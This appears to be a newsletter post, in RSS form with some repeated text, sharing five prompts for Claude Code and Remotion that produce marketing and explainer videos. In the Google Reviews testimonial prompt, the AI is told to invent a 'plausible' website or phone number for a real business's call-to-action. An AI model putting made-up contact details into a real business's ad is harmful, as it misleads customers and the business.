PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>Paste any business&#8217;s Google Maps link. Claude scrapes the real star rating, review count, and actual customer reviews, then creates an animated testimonial video with star-fill animations, review cards sliding through a carousel, and social proof counters &#8212; all using real data. </p><p>Works for restaurants, agencies, dentists, salons, any local business. This is the kind of video businesses pay $200-500 for on Fiverr. Change the link, get a new video.</p><div><hr></div><h2>4. Avatar Video with Animated Overlays</h2><p><strong>Use case:</strong> Drop in a 9:16 talking-head video. Claude transcribes what you&#8217;re saying, then overlays animated titles, topic graphics, captions, and progress indicators on top of the video &#8212; synced to your speech. Your original video stays full-frame, untouched.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
I&#8217;ve placed my talking-head video in public/avatar.mp4. This is a 9:16 vertical video (1080x1920) of me talking to camera &#8212; a selfie-style shot where my face is in the lower 60% of the frame, with open space above my head.
Create a Remotion composition (1080x1920, 30fps) that plays this video FULL FRAME as the background layer, then overlays animated graphics on top &#8212; specifically in the open space above my head (roughly the top 35-40% of the frame). The video itself is never cropped, split, or resized. It plays edge-to-edge at its original 1080x1920 resolution.

SAFE ZONE: All overlay text and graphics must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and at least 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; TRANSCRIBE &amp; PLAN: Use Whisper to transcribe public/avatar.mp4. Analyze the transcript to identify:
- The total duration (set composition length to match the video)
- 3-5 key topic segments with their start timestamps
- For each segment, propose an overlay graphic to display in the top portion of the frame (above my head). Examples:
  - Topic title with a large step number (e.g., &#8220;01&#8221; faded in background, &#8220;Elements of AI&#8221; as headline)
  - Keyword pill/badge that highlights the current topic
  - Simple animated icon or diagram illustrating the concept
  - Progress bar or step indicator showing where we are in the video
  - Animated caption/quote pulling a key phrase from what I&#8217;m saying
Show me the transcript segments and proposed overlay for each. Wait for approval before coding.

STEP 2 &#8212; BUILD:

BASE LAYER &#8212; FULL-FRAME AVATAR VIDEO:
- &lt;OffthreadVideo src={staticFile(&#8221;avatar.mp4&#8221;)} /&gt; filling the entire 1080x1920 composition
- style={{ width: &#8220;100%&#8221;, height: &#8220;100%&#8221;, objectFit: &#8220;cover&#8221; }}
- This is the background. It plays from frame 0 for the full duration.
- Audio from this video is the composition&#8217;s audio track (me speaking)
- Do NOT crop, resize, split, or put this in a panel. It IS the full frame.

OVERLAY LAYER &#8212; ANIMATED GRAPHICS (positioned in top ~35% of frame, above my head):
- Use AbsoluteFill on top of the video layer
- All graphics positioned in the top portion of the frame (y: 150px to ~700px) &#8212; this is the open space above my head
- Add a subtle dark gradient overlay ONLY in the top 40% of the frame (transparent at bottom, rgba(0,0,0,0.6) at top) so white text is readable against any background
For each topic segment, display an overlay timed to the transcript:

OVERLAY STYLE (like the reference image):
- Large faded step number in background (&#8221;01&#8221;, &#8220;02&#8221;, etc.) &#8212; Inter 800, ~200px, rgba(255,255,255,0.08)
- Topic headline below it &#8212; Inter 700, 56-64px, white
- Keyword badge &#8212; small rounded pill with glass-morphism background, 32px text
- Animated progress bar under the badge &#8212; thin line that fills to show progress through current segment, accent color #22c55e
- Each overlay enters with spring({ damping: 200 }) at its segment&#8217;s start timestamp
- Previous overlay fades out (opacity 0 over 10 frames) as the new one enters
- Use Sequence components with from={Math.round(timestamp * fps)} to sync to speech

OPTIONAL BOTTOM OVERLAY &#8212; CAPTIONS:
- If you can extract word-level timestamps from Whisper, add animated captions in the lower portion of the frame (above bottom safe zone, around y: 1600-1700px)
- Style: bold white text, 36px, with a subtle text shadow for readability
- Highlight the current word in accent color (#6366f1)

COLORS: Accent #6366f1 (indigo), secondary #22c55e (green), text white

FONT: Inter (weights 400, 600, 700, 800)

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p><strong>Why it&#8217;s mindblowing:</strong> Drop in any selfie talking-head video. Claude transcribes your speech, then layers animated titles, step numbers, keyword badges, progress bars, and captions on top of your original video &#8212; all synced to what you&#8217;re actually saying. Your video stays full-frame and untouched. It&#8217;s like having a motion graphics editor watch your video and add overlays in real time.</p><div><hr></div><h2>5. Data Visualization Infographic</h2><p><strong>Use case:</strong> Give Claude a CSV file or paste raw data. It designs and animates a full dashboard with charts, KPIs, and trend indicators &#8212; no design skills needed.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
I&#8217;ve placed a data file at public/data.csv. Create an animated data dashboard video (1080x1920, 30fps, 15 seconds) that visualizes this data.

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; ANALYZE: Read the CSV file. Identify:
- A compelling title for the dashboard
- The single most impressive KPI stat (for the hero card)
- Data suitable for a bar chart (categorical comparison)
- Data suitable for a donut/pie chart (parts of a whole)
- Data suitable for a line chart (trend over time)
If the CSV doesn&#8217;t have all 4 chart types, pick the best 4 visualizations for the data and adapt. Show me the proposed dashboard layout. Wait for approval before coding.

STEP 2 &#8212; ANIMATE:

LAYOUT: Vertical stack of 4 panels with 30px padding between. Top margin at 150px (safe zone), bottom panel ends above 170px (safe zone). Side margins: 60px. Dark background #0a0a0a.

PANEL 1 - KPI Hero Card:
- Large headline number counting up from 0 using interpolate(), with appropriate suffix (%, $, k, M)
- Subtitle describing the metric in Inter 400, 20px, #94a3b8
- Trend indicator: colored arrow (green &#9650; or red &#9660;) with YoY change, slides in after count finishes
- Glass-morphism card background (rgba(255,255,255,0.05), border 1px solid rgba(255,255,255,0.1), backdrop-blur)
- tabular-nums font-variant for smooth counting
- Entrance: card scales from 0.8 to 1.0 with spring at frame 10

PANEL 2 - Bar Chart:
- Horizontal bars, one per category, using real labels and values from the CSV
- Each bar grows from width 0 using spring({ damping: 200, delay: index * 10 })
- Bar colors: gradient from #6366f1 to #8b5cf6
- Labels on left, values appear at bar end after growth completes
- Rounded-right corners (8px)
- Entrance: staggered, starting at frame 25

PANEL 3 - Donut Chart:
- SVG donut using stroke-dasharray / stroke-dashoffset
- Segments draw clockwise, each starting after previous finishes
- Colors: #3b82f6, #22c55e, #f59e0b, #ef4444 (cycle if more segments)
- Radius 80px, stroke-width 24px
- Center text: category name swaps as each segment draws
- Colored legend dots below, staggered fade-in
- Entrance: starts at frame 50

PANEL 4 - Line Chart:
- SVG polyline drawing left to right via stroke-dashoffset + interpolate()
- Data point circles (r=4) pop in with scale spring as the line reaches them
- Gradient fill below the line (color to transparent) reveals with the draw
- Axis labels from the CSV data
- Line color: #22c55e
- Entrance: starts at frame 70

GLOBAL:
- Dashboard title (from your analysis) fades in at frame 0, top safe zone, Inter 800, 36px
- Source subtitle fades in at frame 5, Inter 400, 16px, #64748b
- All panels use matching glass-morphism card style
Use spring() for entrances, interpolate() with clamp for counts and line drawing. Create reusable CountUp and AnimatedBar components.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>Drop any CSV into the public folder. Claude reads the data, picks the best visualization for each chart type, and animates a full dashboard with real numbers. </p><p>Swap the CSV, get a completely different video. </p><p>Works for quarterly reports, survey results, API analytics, anything with numbers.</p><div><hr></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></p><p>2/ Free <strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></p><p>3/ Free <strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></p><p>4/ Free <strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></p><p>5/ Ask me anything @ <strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></p><p>6/ Free private community for <strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></p><p>7/ I built <strong><a href="https://www.blotato.com/">Blotato</a></strong> to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[5 INSANE Claude Code + Video Prompts ]]></title><description><![CDATA[Remotion is an existing open-source framework for making videos.]]></description><link>https://www.sabrina.dev/p/5-insane-claude-code-video-prompts</link><guid isPermaLink="false">https://www.sabrina.dev/p/5-insane-claude-code-video-prompts</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Sat, 21 Mar 2026 19:30:30 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Fq8u!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7075ee19-32b3-46ad-bae8-532bf200a103_1080x1080.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Remotion</strong> is an existing open-source framework for making videos.</p><p>The magic here is <strong>Claude Code's "skills" system</strong>.</p><p>Remotion ships a set of pre-built skills, i.e. instructions that teach Claude exactly how Remotion works - its APIs, animation patterns, best practices, and pitfalls. You install them once, then every prompt you paste into Claude has that full context.</p><p>Below are 5 ready-to-paste prompts.</p><p>Each one produces a different style of video.</p><p>Swap in your own topics, hit enter, and watch Claude make videos :)</p><h2>Setup</h2><p>Open a terminal and run these 2 commands:</p><pre><code><code>npx skills add remotion-dev/skills      # install all Remotion skills

claude                                  # open Claude Code, paste your prompt</code></code></pre><h2>What you need per prompt</h2><ol><li><p><strong>Education Explainer</strong> &#8212; Your input: Change the topic in quotes. Claude: Claude researches, scripts, designs, animates</p></li><li><p><strong>Product Demo + Launch</strong> &#8212; Your input: Change the URL. Claude: Claude scrapes branding, takes screenshots, rebuilds UI, creates simulated demo + real screenshot showcase in one video</p></li><li><p><strong>Google Reviews Testimonial</strong> &#8212; Your input: Paste Google Business Profile link. Claude: Claude scrapes real reviews/rating, creates animated testimonial with star animations + review carousel</p></li><li><p><strong>Avatar + Animated Overlays</strong> &#8212; Your input: Drop 9:16 talking-head video in <code>public/</code>. Claude: Claude transcribes speech, overlays animated titles/badges/captions on top of your full-frame video</p></li><li><p><strong>Data Viz Dashboard</strong> &#8212; Your input: Drop a CSV in <code>public/</code>. Claude: Claude analyzes data, picks chart types, animates</p></li></ol><h2>Pro Tips</h2><ol><li><p><strong>Always start with</strong> &#8220;Use the Remotion best practices skill&#8221; &#8212; already included in every prompt</p></li><li><p><strong>Visual controls</strong> &#8212; prompts 2 and 4 ask Claude to add position sliders you can tweak in Remotion Studio</p></li><li><p><strong>Iterate</strong> &#8212; after the first render, give correction prompts (&#8221;make the bars wider&#8221;, &#8220;slow the typing to 10 chars/sec&#8221;, &#8220;change accent color to orange&#8221;)</p></li><li><p><strong>Render</strong> &#8212; ask Claude to open &#8220;Remotion Studio&#8221; so you can preview the video</p></li></ol><div><hr></div><h2>1. Education Explainer Video</h2><p><strong>Use case:</strong> Turn any topic into a full animated explainer video. Just change the topic &#8212; Claude researches it, writes the script, designs the scenes, and animates everything.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
Create an educational explainer video (1080x1920, 30fps, 30 seconds) that teaches &#8220;How AI Agents Work&#8221;.

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; RESEARCH &amp; SCRIPT: Before writing any code, research the topic and write a 5-scene script. Each scene needs: a one-line headline, 1-2 sentences of explanation, and a visual description of what to animate. Show me the script and wait for approval before coding.

STEP 2 &#8212; DESIGN &amp; ANIMATE: After I approve the script, build all 5 scenes with these specs:

VISUAL STYLE:
- Background: #0a0a0a
- Primary text: white
- Accent: #6366f1 (indigo)
- Success/emphasis: #22c55e (green)
- Font: Inter (weights 400, 600, 800)
- All icons/diagrams built as SVG components (no external assets needed)

ANIMATION RULES:
- Every element enters with spring({ damping: 200 }) &#8212; no linear motion
- Stagger related items by 8-12 frames
- Use TransitionSeries with 12-frame fade transitions between scenes
- Diagrams and flowcharts should draw themselves (SVG stroke-dashoffset animation)
- Key numbers use count-up animation with interpolate() and tabular-nums
- Final scene: particle effect background (10-15 circles drifting upward)
Each scene should have a clear visual metaphor &#8212; diagrams, flowcharts, icons, or step-by-step animations. No walls of text. Think Kurzgesagt meets Fireship: dense information, beautiful motion, fast pacing.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>You literally just swap the topic in quotes. &#8220;How AI Agents Work&#8221; becomes &#8220;How Blockchain Works&#8221; or &#8220;How DNS Works&#8221; or &#8220;How Photosynthesis Works.&#8221; </p><p>Claude handles research, scripting, visual design, and animation. Zero assets needed - everything is generated as SVG.</p><div><hr></div><h2>2. Product Demo + Launch Video</h2><p><strong>Use case:</strong> Give Claude any product URL. </p><p>It scrapes real branding, downloads product images/screenshots FROM the website (not screenshots OF the website), and creates a full product ad with animated visuals, feature callouts, and a simulated demo. All from one URL.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
Create a 25-second product demo and launch video (1080x1920, 30fps) for the product at https://your-product-url.com.

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; RESEARCH &amp; ASSET DOWNLOAD: Visit the URL. Extract:
- Product name and logo (download any logo/favicon to public/)
- Brand colors (pull from the site&#8217;s CSS or visible design)
- Tagline / hero headline
- The core user flow (what does someone DO with this product?)
- 3 key features or value propositions
- Any social proof (user counts, testimonials, logos)
- IMPORTANT &#8212; PRODUCT IMAGES: Use the Claude in Chrome MCP tools to navigate to the website, read the page, and find product screenshots/images the site already displays (hero images, product UI screenshots, feature images, app previews). These are images the company designed to showcase their product &#8212; they&#8217;ll look much better than browser screenshots. Download 2-3 of the best product images and save them to public/product-1.png, product-2.png, etc. Look for &lt;img&gt; tags, og:image meta tags, and background images in the hero/features sections. Prefer PNG/JPG product mockups over generic stock photos.
- Only take browser screenshots as a LAST RESORT if the website has no downloadable product images.
Show me what you found (including which product images you downloaded) and a proposed 6-scene outline. Wait for approval before coding.

STEP 2 &#8212; BUILD THE VIDEO: After approval, build 6 scenes:

SCENE 1 - Hook (3s):
- Bold text in safe zone: a pain-point question relevant to the product (e.g., &#8220;Still editing videos manually?&#8221;)
- Text slams in with spring from 2x scale, holds 2s, fades out
- Dark background with subtle brand-color radial glow

SCENE 2 - Product Intro (3s):
- Product name/logo scales in with spring from 3x to 1x (use the downloaded logo, or render name in brand font)
- Real tagline slides up below
- Particle burst behind logo: 20 circles expanding outward with random trajectories, fading out, using brand accent color

SCENE 3 - Simulated Demo (8s):
- Recreate a simplified, MOBILE-SIZED version of the product&#8217;s core interaction using React components (styled divs, inputs, buttons, cards in the brand&#8217;s colors)
- NO device mockup frame &#8212; build the UI elements directly on the dark background, large enough to fill the safe zone width (960px+)
- Keep it simple: just the ONE core interaction (input field + button + result), not the full app UI
- Animate a cursor (small white circle with subtle trail) that:
  - Moves to an input field (full width, 72px tall, 36px text) using smooth bezier motion
  - Click ripple effect on the field (expanding circle that fades)
  - Text types into the field character by character at 36px font size
  - Cursor moves to a large &#8220;Go&#8221; / &#8220;Generate&#8221; / &#8220;Submit&#8221; button (full width, 64px tall)
  - Click ripple on button, button depresses (scale 0.95)
  - Loading spinner appears (0.5s), then results animate in with staggered spring animations
  - Result cards/text must also be large (36px+ body text)
- All cursor movement uses spring({ damping: 15 }) for natural, human-like motion
- Everything must be readable on a phone screen &#8212; if in doubt, make it bigger

SCENE 4 - Product Image Showcase (5s):
- Display the downloaded product images LARGE &#8212; these are polished marketing images, not browser screenshots, so show them big
- Each image is displayed at near-full width (900px+), centered in the frame with drop shadow and rounded corners (16px)
- NO device mockup frame needed &#8212; the product images already look polished on their own
- Animate through 2-3 product images as a sequence:
  - Image 1 scales in from 0.9 to 1.0 with spring, holds 1.5s
  - Crossfade to Image 2, holds 1.5s
  - Crossfade to Image 3, holds 1.5s
- While each image is visible, a short feature headline (56px, Inter 700) fades in above or below the image, updating with each transition
- If product images are landscape, display them in the center of the frame at full width with dark background above and below

SCENE 5 - Feature Callouts (3s):
- Product image scales down to 40% and moves to the top
- 3 feature benefit lines animate in below it, staggered by 10 frames:
  - Each line has a colored icon (checkmark, lightning bolt, star) + short text (36px+) pulled from real features
  - Lines slide in from right with spring()
- Feature text must be LARGE and readable &#8212; 36px minimum for each line

SCENE 6 - Social Proof + CTA (3s):
- Everything fades out
- If social proof was found, animate the real number counting up from 0 (e.g., &#8220;50,000+ users&#8221;)
- Product URL pulses gently (scale 1.0 to 1.03) &#8212; positioned above bottom safe zone
- Fade to black

CURSOR DESIGN: White circle (12px), 50% opacity trailing shadow, smooth bezier paths between click targets. Never teleport &#8212; always animate movement.

FONT: Inter (800 headlines, 400 body) unless the website uses a distinctive Google Font &#8212; match it.
Use spring() for entrances, interpolate() with clamp for counting.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>Paste any product URL. Claude scrapes real branding, takes real screenshots, and builds the video.</p><p>You get a simulated demo (cursor clicking through a fake version of the app) that crossfades into real screenshots scrolling in a phone mockup. </p><p>It&#8217;s a complete product ad: hook, demo, proof, CTA. Change the URL, get a new video.</p><div><hr></div><h2>3. Google Reviews Testimonial Video</h2><p><strong>Use case:</strong> Paste any business&#8217;s Google Maps/Business Profile link. Claude scrapes the real reviews, star rating, and business info, then creates an animated testimonial ad featuring real customer quotes with star animations and social proof counters.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
Create a 20-second testimonial/social proof video (1080x1920, 30fps) for the business at this Google Business Profile: https://maps.google.com/your-business-link-here

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; SCRAPE REVIEWS: Visit the Google Business Profile URL using Playwright. Extract:
- Business name and category
- Overall star rating (e.g., 4.8)
- Total number of reviews (e.g., &#8220;2,340 reviews&#8221;)
- The 3 best/most compelling reviews (5-star, with actual review text and reviewer first name)
- Business photo or logo if available (screenshot it to public/)
If Playwright can&#8217;t load Google reviews directly, use an alternative: search for the business name + &#8220;reviews&#8221; and scrape from the search results card, or use the Google Maps page.
Show me the business info and 3 selected reviews. Wait for approval before coding.

STEP 2 &#8212; BUILD THE VIDEO: After approval, build 5 scenes:

SCENE 1 - Hook (3s):
- Clean white/light background (#f8f9fa) with a subtle warm gradient (soft peach #fff7ed fading to white)
- Large gold star cluster: 3 overlapping star SVGs at different sizes and rotations, scattered in the upper area, faded to 15% opacity as a decorative background element
- Bold text centered in safe zone, two lines:
  - Line 1: &#8220;What people are saying about&#8221; &#8212; Inter 700, 44px, dark text #1a1a1a
  - Line 2: &#8220;[Business Name]&#8221; &#8212; Inter 800, 56px, gold #f59e0b
- Text enters with spring from below (translateY 40px to 0)
- Below the text: the overall star rating as 5 inline stars (40px, gold filled) with the number next to them (e.g., &#8220;4.8&#8221;) &#8212; fades in 10 frames after the text

SCENE 2 - Star Rating Reveal (3s):
- Same light background (#f8f9fa)
- 5 large star SVGs (60px each) in a row, centered
- Stars fill in one by one from left to right with gold (#f59e0b) using spring animation, staggered by 8 frames
- If rating is 4.8, the 5th star fills only 80% (use clip-path or width mask)
- Below the stars: the rating number counts up from 0.0 to the actual rating using interpolate() with 1 decimal place, dark text #1a1a1a
- Below that: &#8220;Based on [X] reviews&#8221; fades in, #64748b, with the number counting up from 0
- Subtle gold particle shimmer behind the stars

SCENE 3 - Review Carousel (9s, 3 reviews x 3s each):
- Same light background (#f8f9fa)
- Each review is a card that takes the full safe zone width:
  - Top: 5 small gold stars (28px) in a row
  - Middle: the review text in quotes, Inter 400, 36px, dark text #1a1a1a &#8212; max 3 lines, truncate with &#8220;...&#8221; if longer
  - Bottom: reviewer first name + &#8220;Google Review&#8221; label, Inter 400, 28px, #64748b
  - Card background: white (#ffffff) with subtle border (#e2e8f0), rounded corners (16px), soft shadow (0 4px 20px rgba(0,0,0,0.08))
- Card transitions: each card slides out to the left while the next slides in from the right, using TransitionSeries with slide transitions
- Add a small Google &#8220;G&#8221; logo icon (built as SVG &#8212; the 4-color G) next to &#8220;Google Review&#8221; for authenticity
- A thin progress indicator below the card shows which review we&#8217;re on (3 dots, active dot is gold)

DECORATIVE GRAPHICS AROUND EACH REVIEW (fill the empty space above and below the card):
- ABOVE the review card: large quotation mark SVG in gold at 10% opacity, 200px tall, positioned top-left of safe zone. Fades in with the card.
- BELOW the review card: an animated graphic relevant to the review content. Pick ONE per review:
  - Review 1: animated 5-star rating bar chart showing the business&#8217;s rating distribution (5 horizontal bars, gold fill on light gray #f1f5f9 track, spring animation)
  - Review 2: a thumbs-up icon that scales in with spring + a count-up number showing total reviews
  - Review 3: a simple map pin icon with the business location text, with a subtle pulse animation
- These decorative elements enter with the card and exit with it
- Keep them subtle (muted colors, 30-50% opacity) so they don&#8217;t compete with the review text
- All decorative icons/graphics use gold (#f59e0b) or muted gray (#94a3b8)

SCENE 4 - Social Proof Stack (3s):
- Same light background (#f8f9fa)
- 3 stat lines stagger in from the bottom with spring, 10-frame delays:
  - Line 1: gold star icon + &#8220;[X] star rating&#8221; &#8212; dark text #1a1a1a
  - Line 2: people icon + &#8220;[X]+ happy customers&#8221; (count up animation)
  - Line 3: map pin icon + &#8220;[City, State]&#8221; location
- Each line has an icon (SVG) on the left and text on the right
- Icons are gold (#f59e0b), text is dark #1a1a1a

SCENE 5 - CTA (2s):
- Same light background (#f8f9fa)
- Business name in large text (Inter 800, 56px, #1a1a1a), scales in with spring, centered in safe zone
- Below: a prominent CTA button (full safe-zone width, 72px tall, rounded corners 16px, gold background #f59e0b, white text &#8220;Book Now&#8221; or &#8220;Call Today&#8221; at 40px)
- Button enters with spring from below
- Below the button: the business&#8217;s website URL or phone number in Inter 600, 36px, #64748b &#8212; generate a plausible URL based on the business name (e.g., &#8220;www.flplumber.com&#8221; or &#8220;(555) 123-4567&#8221;)
- Positioned above bottom safe zone
- No fade to black &#8212; end on the clean light background with CTA visible

COLORS: Light theme throughout. Background #f8f9fa on all scenes. Card backgrounds white #ffffff. Primary text dark #1a1a1a. Secondary text #64748b. Accent gold #f59e0b for stars, highlights, and CTA button. Card borders #e2e8f0.

FONT: Inter (weights 400, 600, 700, 800)
Use spring() for all entrances. Use interpolate() with clamp for counting animations.

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p>Paste any business&#8217;s Google Maps link. Claude scrapes the real star rating, review count, and actual customer reviews, then creates an animated testimonial video with star-fill animations, review cards sliding through a carousel, and social proof counters &#8212; all using real data. </p><p>Works for restaurants, agencies, dentists, salons, any local business. This is the kind of video businesses pay $200-500 for on Fiverr. Change the link, get a new video.</p><div><hr></div><h2>4. Avatar Video with Animated Overlays</h2><p><strong>Use case:</strong> Drop in a 9:16 talking-head video. Claude transcribes what you&#8217;re saying, then overlays animated titles, topic graphics, captions, and progress indicators on top of the video &#8212; synced to your speech. Your original video stays full-frame, untouched.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
I&#8217;ve placed my talking-head video in public/avatar.mp4. This is a 9:16 vertical video (1080x1920) of me talking to camera &#8212; a selfie-style shot where my face is in the lower 60% of the frame, with open space above my head.
Create a Remotion composition (1080x1920, 30fps) that plays this video FULL FRAME as the background layer, then overlays animated graphics on top &#8212; specifically in the open space above my head (roughly the top 35-40% of the frame). The video itself is never cropped, split, or resized. It plays edge-to-edge at its original 1080x1920 resolution.

SAFE ZONE: All overlay text and graphics must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and at least 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; TRANSCRIBE &amp; PLAN: Use Whisper to transcribe public/avatar.mp4. Analyze the transcript to identify:
- The total duration (set composition length to match the video)
- 3-5 key topic segments with their start timestamps
- For each segment, propose an overlay graphic to display in the top portion of the frame (above my head). Examples:
  - Topic title with a large step number (e.g., &#8220;01&#8221; faded in background, &#8220;Elements of AI&#8221; as headline)
  - Keyword pill/badge that highlights the current topic
  - Simple animated icon or diagram illustrating the concept
  - Progress bar or step indicator showing where we are in the video
  - Animated caption/quote pulling a key phrase from what I&#8217;m saying
Show me the transcript segments and proposed overlay for each. Wait for approval before coding.

STEP 2 &#8212; BUILD:

BASE LAYER &#8212; FULL-FRAME AVATAR VIDEO:
- &lt;OffthreadVideo src={staticFile(&#8221;avatar.mp4&#8221;)} /&gt; filling the entire 1080x1920 composition
- style={{ width: &#8220;100%&#8221;, height: &#8220;100%&#8221;, objectFit: &#8220;cover&#8221; }}
- This is the background. It plays from frame 0 for the full duration.
- Audio from this video is the composition&#8217;s audio track (me speaking)
- Do NOT crop, resize, split, or put this in a panel. It IS the full frame.

OVERLAY LAYER &#8212; ANIMATED GRAPHICS (positioned in top ~35% of frame, above my head):
- Use AbsoluteFill on top of the video layer
- All graphics positioned in the top portion of the frame (y: 150px to ~700px) &#8212; this is the open space above my head
- Add a subtle dark gradient overlay ONLY in the top 40% of the frame (transparent at bottom, rgba(0,0,0,0.6) at top) so white text is readable against any background
For each topic segment, display an overlay timed to the transcript:

OVERLAY STYLE (like the reference image):
- Large faded step number in background (&#8221;01&#8221;, &#8220;02&#8221;, etc.) &#8212; Inter 800, ~200px, rgba(255,255,255,0.08)
- Topic headline below it &#8212; Inter 700, 56-64px, white
- Keyword badge &#8212; small rounded pill with glass-morphism background, 32px text
- Animated progress bar under the badge &#8212; thin line that fills to show progress through current segment, accent color #22c55e
- Each overlay enters with spring({ damping: 200 }) at its segment&#8217;s start timestamp
- Previous overlay fades out (opacity 0 over 10 frames) as the new one enters
- Use Sequence components with from={Math.round(timestamp * fps)} to sync to speech

OPTIONAL BOTTOM OVERLAY &#8212; CAPTIONS:
- If you can extract word-level timestamps from Whisper, add animated captions in the lower portion of the frame (above bottom safe zone, around y: 1600-1700px)
- Style: bold white text, 36px, with a subtle text shadow for readability
- Highlight the current word in accent color (#6366f1)

COLORS: Accent #6366f1 (indigo), secondary #22c55e (green), text white

FONT: Inter (weights 400, 600, 700, 800)

PREVIEW: After building, launch Remotion Studio (npx remotion studio) so I can preview the video in my browser.</code></code></pre><p><strong>Why it&#8217;s mindblowing:</strong> Drop in any selfie talking-head video. Claude transcribes your speech, then layers animated titles, step numbers, keyword badges, progress bars, and captions on top of your original video &#8212; all synced to what you&#8217;re actually saying. Your video stays full-frame and untouched. It&#8217;s like having a motion graphics editor watch your video and add overlays in real time.</p><div><hr></div><h2>5. Data Visualization Infographic</h2><p><strong>Use case:</strong> Give Claude a CSV file or paste raw data. It designs and animates a full dashboard with charts, KPIs, and trend indicators &#8212; no design skills needed.</p><p><strong>Prompt:</strong></p><pre><code><code>Use the Remotion best practices skill.
I&#8217;ve placed a data file at public/data.csv. Create an animated data dashboard video (1080x1920, 30fps, 15 seconds) that visualizes this data.

SAFE ZONE: All text and key content must stay within the safe zone &#8212; at least 150px from the top (platform search bars, status bar) and 170px from the bottom (navigation buttons, swipe-up UI). Side margins: 60px minimum. Nothing important should touch the edges. MINIMUM FONT SIZES: Headlines 56px+, body/subtitles 36px+, labels/small text 28px absolute minimum. Nothing under 28px &#8212; it&#8217;s unreadable on mobile.

STEP 1 &#8212; ANALYZE: Read the CSV file. Identify:
- A compelling title for the dashboard
- The single most impressive KPI stat (for the hero card)
- Data suitable for a bar chart (categorical comparison)
- Data suitable for a donut/pie chart (parts of a whole)
- Data suitable for a line chart (trend over time)
If the CSV doesn&#8217;t have all 4 chart types, pick the best 4 visualizations for the data and adapt. Show me the proposed dashboard layout. Wait for approval before coding.

STEP 2 &#8212; ANIMATE:

LAYOUT: Vertical stack of 4 panels with 30px padding between. Top margin at 150px (safe zone), bottom panel ends above 170px (safe zone). Side margins: 60px. Dark background #0a0a0a.

PANEL 1 - KPI Hero Card:
- Large headline number counting up from 0 using interpolate(), with appropriate suffix (%, $, k, M)
- Subtitle describing the metric in Inter 400, 20px, #94a3b8
- Trend indicator: colored arrow (green &#9650; or red &#9660;) with YoY change, slides in after count finishes
- Glass-morphism card background (rgba(255,255,255,0.05), border 1px solid rgba(255,255,255,0.1), backdrop-blur)
- tabular-nums font-variant for smooth counting
- Entrance: card scales from 0.8 to 1.0 with spring at frame 10

PANEL 2 - Bar Chart:
- Horizontal bars, one per category, using real labels and values from the CSV
- Each bar grows from width 0 using spring({ damping: 200, delay: index * 10 })
- Bar colors: gradient from #6366f1 to #8b5cf6
- Labels on left, values appear at bar end after growth completes
- Rounded-right corners (8px)
- Entrance: staggered, starting at frame 25
